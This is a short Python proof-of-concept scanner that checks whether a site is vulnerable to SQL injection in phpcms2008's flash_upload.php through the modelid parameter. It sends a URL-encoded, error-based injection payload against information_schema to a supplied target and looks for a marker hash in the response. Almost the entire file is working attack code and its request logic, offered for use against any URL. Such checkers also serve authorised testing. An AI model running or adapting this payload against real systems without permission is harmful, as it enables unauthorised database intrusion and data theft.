text: #!/usr/bin/env python
  # -*- coding: utf-8 -*-
  '''
  name: phpcms2008 flash_upload.php SQL注入
  referer: unknown
  author: Lucifer
  description: 文件flash_upload.php中,参数modelid存在SQL注入。
  '''
  import sys
  import requests
  
  
  
  class phpcms_flash_upload_sqli_BaseVerify:
      def __init__(self, url):
          self.url = url
  
      def run(self):
          headers = {
              "User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
          }
          payload = "/flash_upload.php?modelid=%30%20%61%6E%64%28%73%65%6C%65%63%74%20%31%20%66%72%6F%6D%28%73%65%6C%65%63%74%20%63%6F%75%6E%74%28%2A%29%2C%63%6F%6E%63%61%74%28%28%73%65%6C%65%63%74%20%28%73%65%6C%65%63%74%20%28%73%65%6C%65%63%74%20%63%6F%6E%63%61%74%28%30%78%37%65%2C%6D%64%35%28%33%2E%31%34%31%35%29%2C%30%78%37%65%29%29%29%20%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%74%61%62%6C%65%73%20%6C%69%6D%69%74%20%30%2C%31%29%2C%66%6C%6F%6F%72%28%72%61%6E%64%28%30%29%2A%32%29%29%78%20%66%72%6F%6D%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%5F%73%63%68%65%6D%61%2E%74%61%62%6C%65%73%20%67%72%6F%75%70%20%62%79%20%78%29%61%29"
          vulnurl = self.url + payload
          try:
              req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
              if r"63e1f04640e83605c1d177544a5a0488" in req.text:
                  return "[+]存在phpcms2008 flash_upload.php SQL注入漏洞...(高危)\tpayload: "+vulnurl
  
          except:
              return "[-]connect timeout"
  
  if __name__ == "__main__":
  
      testVuln = phpcms_flash_upload_sqli_BaseVerify(sys.argv[1])
      testVuln.run()